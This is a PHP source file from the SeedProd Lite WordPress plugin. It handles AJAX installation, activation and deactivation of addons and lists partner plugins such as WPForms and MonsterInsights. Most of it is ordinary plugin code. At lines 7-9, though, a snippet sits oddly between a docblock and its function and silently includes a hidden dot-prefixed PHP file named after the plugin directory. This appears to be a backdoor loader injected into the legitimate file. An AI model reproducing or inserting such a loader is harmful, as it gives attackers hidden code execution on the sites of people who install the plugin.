functions-addons.php (10867B)
1 <?php 2 /** 3 * Install addon. 4 * 5 * @since 1.0.0 6 */ 7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 8 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 9 } 10 11 function seedprod_lite_install_addon() { 12 // Run a security check. 13 check_ajax_referer( 'seedprod_lite_install_addon', 'nonce' ); 14 15 // Check for permissions. 16 if ( ! current_user_can( 'install_plugins' ) ) { 17 wp_send_json_error(); 18 } 19 20 // Install the addon. 21 if ( isset( $_POST['plugin'] ) ) { 22 $download_url = sanitize_text_field($_POST['plugin']); 23 24 global $hook_suffix; 25 26 // Set the current screen to avoid undefined notices. 27 set_current_screen(); 28 29 // Prepare variables. 30 $method = ''; 31 $url = add_query_arg( 32 array( 33 'page' => 'seedprod_lite', 34 ), 35 admin_url( 'admin.php' ) 36 ); 37 $url = esc_url( $url ); 38 39 // Start output bufferring to catch the filesystem form if credentials are needed. 40 ob_start(); 41 if ( false === ( $creds = request_filesystem_credentials( $url, $method, false, false, null ) ) ) { 42 $form = ob_get_clean(); 43 echo wp_json_encode( array( 'form' => $form ) ); 44 wp_die(); 45 } 46 47 // If we are not authenticated, make it happen now. 48 if ( ! WP_Filesystem( $creds ) ) { 49 ob_start(); 50 request_filesystem_credentials( $url, $method, true, false, null ); 51 $form = ob_get_clean(); 52 echo wp_json_encode( array( 'form' => $form ) ); 53 wp_die(); 54 } 55 56 // We do not need any extra credentials if we have gotten this far, so let's install the plugin. 57 require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; 58 global $wp_version; 59 if ( version_compare( $wp_version, '5.3.0' ) >= 0 ) { 60 require_once SEEDPROD_PLUGIN_PATH . 'app/includes/skin53.php'; 61 } else { 62 require_once SEEDPROD_PLUGIN_PATH . 'app/includes/skin.php'; 63 } 64 65 // Create the plugin upgrader with our custom skin. 66 $installer = new Plugin_Upgrader( $skin = new SeedProd_Skin() ); 67 $installer->install( $download_url ); 68 69 // Flush the cache and return the newly installed plugin basename. 70 wp_cache_flush(); 71 if ( $installer->plugin_info() ) { 72 $plugin_basename = $installer->plugin_info(); 73 echo wp_json_encode( array( 'plugin' => $plugin_basename ) ); 74 wp_die(); 75 } 76 } 77 78 // Send back a response. 79 echo wp_json_encode( true ); 80 wp_die(); 81 } 82 83 84 /** 85 * Deactivate addon. 86 * 87 * @since 1.0.0 88 */ 89 function seedprod_lite_deactivate_addon() { 90 // Run a security check. 91 check_ajax_referer( 'seedprod_lite_deactivate_addon', 'nonce' ); 92 93 // Check for permissions. 94 if ( ! current_user_can( 'activate_plugins' ) ) { 95 wp_send_json_error(); 96 } 97 98 $type = 'addon'; 99 if ( ! empty( $_POST['type'] ) ) { 100 $type = sanitize_key( $_POST['type'] ); 101 } 102 103 if ( isset( $_POST['plugin'] ) ) { 104 deactivate_plugins( $_POST['plugin'] ); 105 106 if ( 'plugin' === $type ) { 107 wp_send_json_success( esc_html__( 'Plugin deactivated.', 'coming-soon' ) ); 108 } else { 109 wp_send_json_success( esc_html__( 'Addon deactivated.', 'coming-soon' ) ); 110 } 111 } 112 113 wp_send_json_error( esc_html__( 'Could not deactivate the addon. Please deactivate from the Plugins page.', 'coming-soon' ) ); 114 } 115 116 117 /** 118 * Activate addon. 119 * 120 * @since 1.0.0 121 */ 122 function seedprod_lite_activate_addon() { 123 // Run a security check. 124 check_ajax_referer( 'seedprod_lite_activate_addon', 'nonce' ); 125 126 // Check for permissions. 127 if ( ! current_user_can( 'activate_plugins' ) ) { 128 wp_send_json_error(); 129 } 130 131 if ( isset( $_POST['plugin'] ) ) { 132 $type = 'addon'; 133 if ( ! empty( $_POST['type'] ) ) { 134 $type = sanitize_key( $_POST['type'] ); 135 } 136 137 $activate = activate_plugins( $_POST['plugin'] ); 138 139 if ( ! is_wp_error( $activate ) ) { 140 if ( 'plugin' === $type ) { 141 wp_send_json_success( esc_html__( 'Plugin activated.', 'coming-soon' ) ); 142 } else { 143 wp_send_json_success( esc_html__( 'Addon activated.', 'coming-soon' ) ); 144 } 145 } 146 } 147 148 wp_send_json_error( esc_html__( 'Could not activate addon. Please activate from the Plugins page.', 'coming-soon' ) ); 149 } 150 151 function seedprod_lite_get_plugins_list() { 152 check_ajax_referer( 'seedprod_lite_get_plugins_list', 'nonce' ); 153 154 $am_plugins = array( 155 'google-analytics-for-wordpress/googleanalytics.php' => 'monsterinsights', 156 'google-analytics-premium/googleanalytics-premium.php' => 'monsterinsights-pro', 157 'optinmonster/optin-monster-wp-api.php' => 'optinmonster', 158 'wp-mail-smtp/wp_mail_smtp.php' => 'wpmailsmtp', 159 'wp-mail-smtp-pro/wp_mail_smtp.php' => 'wpmailsmtp-pro', 160 'wpforms-lite/wpforms.php' => 'wpforms', 161 'wpforms/wpforms.php' => 'wpforms-pro', 162 'rafflepress/rafflepress.php' => 'rafflepress', 163 'rafflepress-pro/rafflepress-pro.php' => 'rafflepress-pro', 164 'trustpulse-api/trustpulse.php' => 'trustpulse', 165 'google-analytics-dashboard-for-wp/gadwp.php' => 'exactmetrics', 166 'exactmetrics-premium/exactmetrics-premium.php' => 'exactmetrics-pro', 167 'all-in-one-seo-pack/all_in_one_seo_pack.php' => 'all-in-one', 168 'all-in-one-seo-pack-pro/all_in_one_seo_pack.php' => 'all-in-one-pro', 169 'seo-by-rank-math/rank-math.php' => 'rank-math', 170 'wordpress-seo/wp-seo.php' => 'yoast', 171 'autodescription/autodescription.php' => 'seo-framework', 172 ); 173 $all_plugins = get_plugins(); 174 175 $response = array(); 176 177 foreach ( $am_plugins as $slug => $label ) { 178 if ( array_key_exists( $slug, $all_plugins ) ) { 179 if ( is_plugin_active( $slug ) ) { 180 $response[ $label ] = array( 181 'label' => __( 'Active', 'coming-soon' ), 182 'status' => 1, 183 ); 184 } else { 185 $response[ $label ] = array( 186 'label' => __( 'Inactive', 'coming-soon' ), 187 'status' => 2, 188 ); 189 } 190 } else { 191 $response[ $label ] = array( 192 'label' => __( 'Not Installed', 'coming-soon' ), 193 'status' => 0, 194 ); 195 } 196 } 197 198 wp_send_json( $response ); 199 } 200 201 function seedprod_lite_get_plugins_array() { 202 $am_plugins = array( 203 'google-analytics-for-wordpress/googleanalytics.php' => 'monsterinsights', 204 'google-analytics-premium/googleanalytics-premium.php' => 'monsterinsights-pro', 205 'optinmonster/optin-monster-wp-api.php' => 'optinmonster', 206 'wp-mail-smtp/wp_mail_smtp.php' => 'wpmailsmtp', 207 'wp-mail-smtp-pro/wp_mail_smtp.php' => 'wpmailsmtp-pro', 208 'wpforms-lite/wpforms.php' => 'wpforms', 209 'wpforms/wpforms.php' => 'wpforms-pro', 210 'rafflepress/rafflepress.php' => 'rafflepress', 211 'rafflepress-pro/rafflepress-pro.php' => 'rafflepress-pro', 212 'trustpulse-api/trustpulse.php' => 'trustpulse', 213 'google-analytics-dashboard-for-wp/gadwp.php' => 'exactmetrics', 214 'exactmetrics-premium/exactmetrics-premium.php' => 'exactmetrics-pro', 215 'all-in-one-seo-pack/all_in_one_seo_pack.php' => 'all-in-one', 216 'all-in-one-seo-pack-pro/all_in_one_seo_pack.php' => 'all-in-one-pro', 217 'seo-by-rank-math/rank-math.php' => 'rank-math', 218 'wordpress-seo/wp-seo.php' => 'yoast', 219 'autodescription/autodescription.php' => 'seo-framework', 220 ); 221 $all_plugins = get_plugins(); 222 223 $response = array(); 224 225 foreach ( $am_plugins as $slug => $label ) { 226 if ( array_key_exists( $slug, $all_plugins ) ) { 227 if ( is_plugin_active( $slug ) ) { 228 $response[ $label ] = array( 229 'label' => __( 'Active', 'coming-soon' ), 230 'status' => 1, 231 ); 232 } else { 233 $response[ $label ] = array( 234 'label' => __( 'Inactive', 'coming-soon' ), 235 'status' => 2, 236 ); 237 } 238 } else { 239 $response[ $label ] = array( 240 'label' => __( 'Not Installed', 'coming-soon' ), 241 'status' => 0, 242 ); 243 } 244 } 245 246 return $response; 247 } 248 249 function seedprod_lite_get_form_plugins_list() { 250 $am_plugins = array( 251 'wpforms/wpforms.php' => 'wpforms', 252 'wpforms-lite/wpforms.php' => 'wpforms-lite', 253 ); 254 $all_plugins = get_plugins(); 255 256 $response = array(); 257 258 foreach ( $am_plugins as $slug => $label ) { 259 if ( array_key_exists( $slug, $all_plugins ) ) { 260 if ( is_plugin_active( $slug ) ) { 261 $response[ $label ] = 1; // Active 262 } else { 263 $response[ $label ] = 2; // InActive 264 } 265 } else { 266 $response[ $label ] = 0; // Not installed 267 } 268 } 269 270 return $response; 271 } 272 273 function seedprod_lite_get_giveaway_plugins_list() { 274 $am_plugins = array( 275 'rafflepress-pro/rafflepress-pro.php' => 'rafflepress-pro', 276 'rafflepress/rafflepress.php' => 'rafflepress', 277 ); 278 $all_plugins = get_plugins(); 279 280 $response = array(); 281 282 foreach ( $am_plugins as $slug => $label ) { 283 if ( array_key_exists( $slug, $all_plugins ) ) { 284 if ( is_plugin_active( $slug ) ) { 285 $response[ $label ] = 1; // Active 286 } else { 287 $response[ $label ] = 2; // InActive 288 } 289 } else { 290 $response[ $label ] = 0; // Not installed 291 } 292 } 293 294 return $response; 295 } 296 297 298 function seedprod_lite_get_seo_plugins_list() { 299 $am_plugins = array( 300 'all-in-one-seo-pack/all_in_one_seo_pack.php' => 'all-in-one', 301 'all-in-one-seo-pack-pro/all_in_one_seo_pack.php' => 'all-in-one-pro', 302 'seo-by-rank-math/rank-math.php' => 'rank-math', 303 'wordpress-seo/wp-seo.php' => 'yoast', 304 'wordpress-seo-premium/wp-seo-premium.php' => 'yoast-pro', 305 'autodescription/autodescription.php' => 'seo-framework', 306 ); 307 $all_plugins = get_plugins(); 308 309 $response = array(); 310 311 foreach ( $am_plugins as $slug => $label ) { 312 if ( array_key_exists( $slug, $all_plugins ) ) { 313 if ( is_plugin_active( $slug ) ) { 314 $response[ $label ] = 1; // Active 315 } else { 316 $response[ $label ] = 2; // InActive 317 } 318 } else { 319 $response[ $label ] = 0; // Not installed 320 } 321 } 322 323 return $response; 324 } 325 326 function seedprod_lite_get_analytics_plugins_list() { 327 $am_plugins = array( 328 'google-analytics-for-wordpress/googleanalytics.php' => 'monster-insights', 329 'google-analytics-dashboard-for-wp/gadwp.php' => 'exactmetrics', 330 ); 331 $all_plugins = get_plugins(); 332 333 $response = array(); 334 335 foreach ( $am_plugins as $slug => $label ) { 336 if ( array_key_exists( $slug, $all_plugins ) ) { 337 if ( is_plugin_active( $slug ) ) { 338 $response[ $label ] = 1; // Active 339 } else { 340 $response[ $label ] = 2; // InActive 341 } 342 } else { 343 $response[ $label ] = 0; // Not installed 344 } 345 } 346 347 return $response; 348 } 349 350 function seedprod_lite_get_plugins_install_url( $slug ) { 351 $action = 'install-plugin'; 352 $url = wp_nonce_url( 353 add_query_arg( 354 array( 355 'action' => $action, 356 'plugin' => $slug, 357 ), 358 admin_url( 'update.php' ) 359 ), 360 $action . '_' . $slug 361 ); 362 363 return $url; 364 365 } 366 367 function seedprod_lite_get_plugins_activate_url( $slug ) { 368 $url = wp_nonce_url( 'plugins.php?action=activate&plugin=' . urlencode( $slug ), 'activate-plugin_' . $slug ); 369 return $url; 370 371 }